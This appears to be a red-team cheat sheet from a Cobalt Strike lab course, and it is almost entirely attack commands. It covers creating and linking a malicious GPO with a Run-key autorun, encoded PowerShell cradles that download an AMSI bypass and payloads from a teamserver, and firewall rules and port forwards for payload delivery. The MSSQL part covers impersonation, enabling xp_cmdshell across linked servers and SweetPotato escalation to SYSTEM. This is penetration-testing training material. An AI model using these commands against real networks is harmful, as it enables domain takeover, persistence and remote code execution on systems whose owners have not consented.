beacon> powershell Remove-NetFirewallRule -DisplayName "Rule 1"

#-------------------------------------------------------------------------------

\*\*# Create and Link new GPO\*\*

# 1. Check the rights to create a new GPO in Domain

beacon> powerpick Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io" -ResolveGUIDs | ? { $\_.ObjectAceType -eq "Group-Policy-Container" -and $\_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $\_.SecurityIdentifier }

beacon> powerpick Get-DomainGroupMember -Identity "Developers" -Domain dev.cyberbotic.io -Recurse

# 2. Find the OU where any principal has "Write gPlink Privilege"

beacon> powerpick Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $\_.ObjectAceType -eq "GP-Link" -and $\_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl

beacon> powerpick ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107

beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName

# 3. Verify if RSAT module is installed for GPO abuse

beacon> powerpick Get-Module -List -Name GroupPolicy | select -expand ExportedCommands

# 4. Create a new GPO & configure it to execute attacker binary via Registry loaded from shared location or Use Powershell cradle to download payload from CS server.

beacon> powerpick New-GPO -Name "Evil GPO"

# 4-a. Using Shared Location to upload payload

beacon> powerpick Find-DomainShare -CheckShareAccess

beacon> cd \\dc-2\software

beacon> upload C:\Payloads\pivot.exe

beacon> powerpick Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\dc-2\software\pivot.exe" -Type ExpandString

# NOTE: HKLM based autorun changes requires system reboot to take effect

# 4-b. Or Use Powershell cradle to download payload from CS server.

# download & execute smb cradle pointing to pivot (80)

# Make sure to use AMSI Bypass with the powershell cradle.

PS C:\> $str = "iex (iwr http://wkstn-2:8080/amsi-bypass.ps1 -UseBasicParsing) ; iex (iwr http://wkstn-2:8080/smb -UseBasicParsing);"

PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

powershell -w hidden -nop -enc aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApACAAOwAgAGkAZQB4ACAAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBzAG0AYgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA7AA==

# Enable inbound traffic on WebDrive by ports (8080) (requires system access)

beacon> powerpick New-NetFirewallRule -DisplayName "Rule 1" -Profile Domain -Direction Inbound -Action Allow -Protocol TCP -LocalPort 8080

# Setup port forwarding rule to accept the Payload Download request locally and forward to our team server

beacon> rportfwd 8080 127.0.0.1 80

# Configure GPO to use the powershell execute cradle.

beacon> powerpick Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c powershell -w hidden -nop -enc aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyADoAOAAwADgAMAAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApACAAOwAgAGkAZQB4ACAAKABpAHcAcgAgAGgAdAB0AHAAOgAvAC8AdwBrAHMAdABuAC0AMgA6ADgAMAA4ADAALwBzAG0AYgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQA7AA==" -Type ExpandString

# 5. Link newly created GPO with OU

beacon> powerpick Get-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=cyberbotic,DC=io"

# 6. Now as we are using smb listener , We have to manually link with each machine that were present in the OU where this GPO was applied.

# Make sure to monitor the web log in cobalt strike for Payload Downloads, And connect to the Smb beacon.

beacon> link WKSTN-1 TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24a0c57

# 7. Lastly, either we can wait for the GPO to be applied or force update to get reverse shell

cmd> gpupdate /force

# 8. Cleaup

beacon> rportfwd stop 8080

beacon> powershell Remove-NetFirewallRule -DisplayName "Rule 1"

**MSSQL Servers**

* MSSQL Server - Quick Commands
* # MSSQL Server - Cheatsheet
* # SQLRecon : https://github.com/skahwah/SQLRecon/wiki
* # PowerUpSQL : https://github.com/NetSPI/PowerUpSQL/wiki
* #1 Look for MSSQL Server
* beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
* beacon> powerpick Get-SQLInstanceDomain
* #2 Check if we can access the MSSQL Server
* beacon> powerpick Get-SQLConnectionTest -Instance sql-2.dev.cyberbotic.io | fl
* beacon> powerpick Get-SQLServerInfo -Instance sql-2.dev.cyberbotic.io
* beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $\_.Status -eq "Accessible" } | Get-SQLServerInfo
* #3 Look for users/groups which have access to these servers and somehow get access to that user/group. Or Try Kerberoasting the MSSQL Server user.
* beacon> powershell-import c:\Tools\PowerSploit\Recon\Powerview.ps1
* beacon> powerpick Get-DomainGroup -Identity \*SQL\* | % { Get-DomainGroupMember -Identity $\_.distinguishedname | select groupname, membername }
* #4 Try to run some common queries on sql servers
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "select @@version"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"select @@version"
* #5 Check if we have sysadmin access , if yes then use it to enable xp\_cmdhsell and execute commands.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:whoami
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:EnableXp
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:xpcmd /command:"whoami"
* #6 Check if xp\_cmdshell in enabled, if enabled execute commands.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* beacon> powerpick Get-SQLQuery -Instance sql-2.dev.cyberbotic.io -Query "SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* #7 Check if impersonation is allowed, if yes then impersonate the user.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:impersonate
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* #8 Check if impersonated user have sysadmin access. If yes then use it to enable xp\_cmdshell, and then execute commands and get shell.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iEnableXp /i:DEV\mssql\_svc
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iQuery /i:DEV\mssql\_svc /c:"SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:ixpcmd /i:DEV\mssql\_svc /command:"whoami"
* #9 Check if linked Servers are available.
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io
* #10 Check if we can execute queries on linked Server.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"select @@version"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"select @@version"
* #11 Check if xp\_cmdshell is enabled on linked server. If yes then execute command using RPC.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT value FROM sys.configurations WHERE name = ''xp\_cmdshell''"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC('exec master..xp\_cmdshell ''ipconfig''') AT [sql-1.cyberbotic.io]"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC('exec master..xp\_cmdshell ''ping -n 1 10.10.123.102''') AT [sql-1.cyberbotic.io]"
* #12 Check if rpc\_out is enabled (Not default configuration) on each links, and also we have sysadmin access on linked server.
* # Links are configured from source -> destination. so the source has control over the link.
* # So basically we only need (for A linked to B)
* # 1) Sysadmin access on target link server (on B)
* # 2) rpc\_out enabled on link (A to B) OR sysadmin access on prior server (A) for successfully enabling xp\_cmdshell
* #12-a Check RPC\_Out enabled or not (For a link between SQL-2 to SQL-1 we have to check RPC settings in SQL-2 for SQL-1, )
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"SELECT name, is\_rpc\_out\_enabled FROM sys.servers;"
* #12-b If rpc\_out is not enabled , Check if the Source server ( for A-->B , Source is A) has sysadmin access or we can perform impersonation. After getting sysadmin access we can enable rpc\_out for the link.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"SELECT IS\_SRVROLEMEMBER('sysadmin');"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:impersonate
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC sp\_serveroption 'sql-1.cyberbotic.io', 'rpc out', 'true';"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC sp\_serveroption 'sql-1.cyberbotic.io', 'rpc', 'true';"
* #12-c Check sysadmin access enabled or not.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT IS\_SRVROLEMEMBER('sysadmin');"
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io
* #12-d If both rpc\_out and sysadmin access is enabled , then enable xp\_cmdshell.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC('sp\_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.cyberbotic.io]"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC('sp\_configure ''xp\_cmdshell'', 1; reconfigure;') AT [sql-1.cyberbotic.io]"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT value FROM sys.configurations WHERE name = ''xp\_cmdshell''"
* #12-e Execute Commands using xp\_cmdshell.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"EXEC('exec master..xp\_cmdshell ''ipconfig''') AT [sql-1.cyberbotic.io]"
* #13 Check if impersonation is allowed on linked Servers. If yes then impersonate the user and check for xp\_cmdshell and sysadmin access, and if sysadmin is enabled then we can also enable xp\_cmdshell to get code execution.
* # Query will return the IDs, So we have to convert them to principals.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT \* FROM sys.server\_permissions WHERE permission\_name = ''IMPERSONATE'';"
* # Converting IDs to principal names
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT name, principal\_id, type\_desc, is\_disabled FROM sys.server\_principals;"
* # Impersonate the user
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"EXECUTE AS login = ''DEV\mssql\_svc'' ; SELECT SYSTEM\_USER;"
* #Check for sysadmin access.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"EXECUTE AS login = ''DEV\mssql\_svc'' ; SELECT IS\_SRVROLEMEMBER(''sysadmin'');"
* # Check for rpc\_out enabled or not.
* execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"SELECT name, is\_rpc\_out\_enabled FROM sys.servers WHERE is\_linked = 1;"
* # If both sysadmin access is available and rpc\_out is enabled,we can execute commands.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"EXECUTE AS login = ''DEV\mssql\_svc'' ; exec master..xp\_cmdshell ''whoami''"
* #14 After getting shell access to any MSSQL Server , Check if it runs under the default NT Service\MSSQLSERVER , by using getuid command.
* beacon> getuid
* beacon> shell whoami /priv
* beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe TokenPrivileges
* #15 Check for \*seimpersonate\* privilege and if present run sweet potato exploit to abuse it to get Priv Esc to SYSTEM.
* # Encoded Powershell payload.
* powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA==
* # Execute sweet potato to get reverse shell/beacon as system user.
* beacon> execute-assembly C:\Tools\SweetPotato\bin\Release\SweetPotato.exe -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAzADkAOgA4ADAALwBhACcAKQApAA=="
* beacon> connect localhost 4444
* MSQSL Server - Enumeration
* ## MSSQL Server - Enumeration
* # SQLRecon : https://github.com/skahwah/SQLRecon/wiki
* # PowerUpSQL : https://github.com/NetSPI/PowerUpSQL/wiki
* # 1. Use PowerUpSQL for enumerating MS SQL Server instances
* beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
* beacon> powerpick Get-SQLInstanceDomain
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /enum:sqlspns
* # Send network braodcast and UDP scan to identify any instance of sql db
* beacon> powerpick Get-SQLInstanceBroadcast
* beacon> powerpick Get-SQLInstanceScanUDP
* # 2-a. Check access to DB instance with current user session.
* beacon> powerpick Get-SQLConnectionTest -Instance sql-2.dev.cyberbotic.io | fl
* beacon> powerpick Get-SQLServerInfo -Instance sql-2.dev.cyberbotic.io
* beacon> powerpick Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $\_.Status -eq "Accessible" } | Get-SQLServerInfo
* # 2-b. Find user that have access to SQL Servers.
* # Method-1 : Finding Users (or groups) which may have access to the SQL instance, We can look for appropriately named Domain Groups and their members.
* beacon> powershell-import c:\Tools\PowerSploit\Recon\Powerview.ps1
* beacon> powerpick Get-DomainGroup -Identity \*SQL\* | % { Get-DomainGroupMember -Identity $\_.distinguishedname | select groupname, membername }
* # Method-2 : Another option is to go after the MS SQL service account itself as this is also often given sysadmin privileges. (Check Notes for steps).
* # As the Domain Account running the SQL Service have its SPN, So the account may be kerberoastable. We can crack the hash to obtain plaintext password and use it to gain access to SQL instance.
* # 3. Check for sysadmin access (0 -> Not SysAdmin , 1-> Sysadmin)
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /module:info
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* # Enumerate for What roles we do have.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:whoami
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.dev.cyberbotic.io /m:lwhoami
* # 4. Check if xp\_cmdshell is enabled (0 -> Disable, 1 -> Enable), also check for sysadmin access.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.dev.cyberbotic.io /m:whoami
* # if have sysadmin access , then enable it
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:ienablexp /i:DEV\mssql\_svc
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.dev.cyberbotic.io /m:lenablexp /i:DEV\mssql\_svc
* # 5. Query execution
* beacon> powershell-import C:\Tools\PowerUpSQL\PowerUpSQL.ps1
* beacon> powerpick Get-SQLQuery -Instance sql-2.dev.cyberbotic.io -Query "select @@servername"
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "exec master..xp\_cmdshell 'whoami'"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:query /c:"select @@servername"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /l:sql-1.cyberbotic.io /m:lquery /c:"select @@servername"
* # 6. Find the linked SQL Servers
* beacon> powerpick Get-SQLServerLink -Instance sql-2.dev.cyberbotic.io
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "exec master..xp\_cmdshell 'whoami'"
* # Check if target SQLServer or its linked Server have syadmin access. (0 -> Not SysAdmin , 1-> Sysadmin)
* beacon> powerpick Get-SQLQuery -Instance sql-2.dev.cyberbotic.io -Query "SELECT \* FROM OPENQUERY('sql-1.cyberbotic.io', 'select @@servername');"
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "SELECT IS\_SRVROLEMEMBER('sysadmin');" -QueryTarget sql-1.cyberbotic.io
* MSSQL Server - Impersonation
* ## MSSQL Server - Impersonation
* # 1. Discover accounts which can be impersonated using impersonate module
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:impersonate
* # 2-a. Impersonating a user account from current user using SQLRecon's "impersonation mode" by prefixing the module name with an i and specifying the principal to impersonate.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* # 2-b. OR Impersonating a user account from current user using SQL Querie (EXECUTE AS)
* SQL> EXECUTE AS login = 'DEV\mssql\_svc' ; SELECT SYSTEM\_USER;
* SQL> EXECUTE AS login = 'DEV\mssql\_svc' ; SELECT IS\_SRVROLEMEMBER('sysadmin');
* # Check the current user access using SQL Queries (0 -> Not SysAdmin , 1-> Sysadmin)
* SQL> SELECT SYSTEM\_USER;
* SQL> SELECT IS\_SRVROLEMEMBER('sysadmin');
* # 3. Check if after impersonation , we have acccess to sysadmin or xp\_cmdshell is enabled.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iwhoami /i:DEV\mssql\_svc
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iQuery /i:DEV\mssql\_svc /c:"SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* # 4. Enable xp\_cmdshell when we have sysadmin access
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:iEnableXp /i:DEV\mssql\_svc
* MSSQL Server - Command Execution
* ## MSSQL Server - Command Execution
* # 1. Check if target SQLServer or its linked Server have syadmin access. (0 -> Not SysAdmin , 1-> Sysadmin)
* SQL> SELECT SYSTEM\_USER;
* SQL> SELECT IS\_SRVROLEMEMBER('sysadmin');
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /auth:wintoken /host:sql-2.dev.cyberbotic.io /module:info
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2.dev.cyberbotic.io -Query "SELECT IS\_SRVROLEMEMBER('sysadmin');"
* # Enumerate for What roles we do have.
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:whoami
* # 2. If current user have Sysadmin Access then Execute the command using inbuild module Invoke-SQLOSCmd from PowerUpSQL. (It automatically enables xp\_cmdshell stored procedure and disables after code execution) -- Better OPSEC
* beacon> powerpick Invoke-SQLOSCmd -Instance "sql-2.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
* # 3. Check if xp\_cmdshell is enabled (0 -> Disable, 1 -> Enable)
* beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "SELECT value FROM sys.configurations WHERE name = 'xp\_cmdshell'"
* # 4. Manually Enable the xp\_cmdshell stored procedure (manually + PowerUpSql + SQLRecon)
* SQL> sp\_configure 'Show Advanced Options', 1; RECONFIGURE;
* SQL> sp\_configure 'xp\_cmdshell', 1; RECONFIGURE;
* beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "sp\_configure 'Show Advanced Options', 1; RECONFIGURE;"
* beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "sp\_configure 'xp\_cmdshell', 1; RECONFIGURE;"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:ienablexp /i:DEV\mssql\_svc
* # 5. Command Execution when xp\_xmdshell is enabled
* SQL> EXEC xp\_cmdshell 'whoami'
* beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "EXEC xp\_cmdshell 'whoami'"
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:ixpcmd /i:DEV\mssql\_svc /c:ipconfig
* # 6. Get Remote shell or beacon access through Command Execution
* # 6-a. Check if smb port (445) is open on target machine. So we can decide from SMB Payload or pivot listener. If smb port is available the use SMB payload else create a pivot listener.
* beacon> portscan 10.10.122.25 445
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io,1433 /m:ixpcmd /i:DEV\mssql\_svc /c:"ping -n 1 <TEAMSERVER-IP>"
* # 6-b. Check if the Target SQL Server can connect to teamserver , if not then enable the port forwarding and add a firewall rule. (Need Admin Privilege)
* beacon> powerpick New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
* beacon> rportfwd 8080 127.0.0.1 80
* # 6-c. For pivot listener
* # Create a pivot listener beacon > Pivoting > Listener and keep the settings same and change only port and name.
* beacon> run netstat -anop tcp
* # Setup a Scripted Web Delivery payload to /pivot endpoint and add the teamserver domain or IP and port 80 or 443 and select pivot listener.
* # Now go to initial beacon machine and enable port forwarding and firewall to facilitate the powershell script delivery.
* beacon> powerpick New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
* beacon> rportfwd 8080 127.0.0.1 80
* beacon> ping -n 1 10.10.123.102
* # Now modify the payload as below
* powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<Initial-beacon-IP>:8080/pivot'))"
* $ echo -n "IEX ((new-object net.webclient).downloadstring('http://<Initial-beacon-IP>:8080/pivot'))" | iconv -t UTF-16LE | base64 -w 0
* # Now execute the powershell script cradle in the target machine , and we should now have the access.
* # 6-d. Download and execute cradle
* powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<Initial-beacon-IP>:8080/a'))"
* # Convert into encoded format to prevent issues with quotes mismatch
* $ echo -n "IEX ((new-object net.webclient).downloadstring('http://192.168.56.139:80/a'))" | iconv -t UTF-16LE | base64 -w 0
* # Updated powershell cradle
* powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADIAMwAuADEAMAAyAC8AcABpAHYAbwB0ACcAKQApAA==
* # 6-e. Execute the payload
* beacon> execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:sql-2.dev.cyberbotic.io /m:ixpcmd /i:DEV\mssql\_svc /c:"powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADIAMwAuADEAMAAyADoAOAAwADgAMAAvAHAAaQB2AG8AdAAnACkAKQA="
* beacon> powerpick Get-SQLQuery -Instance "sql-2.dev.cyberbotic.io,1433" -Query "EXEC xp\_cmdshell 'powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwB3AGsAcwB0AG4ALQAyAC4AZABlAHYALgBjAHkAYgBlAHIAYgBvAHQAaQBjAC4AaQBvADoAOAAwADgAMAAvAHAAaQB2AG8AdAAnACkAKQA='"
* beacon> powerpick Get-SQLServerLinkCrawl -Instance sql-2 -Query 'exec master..xp\_cmdshell "whoami"' -QueryTarget eu-sql
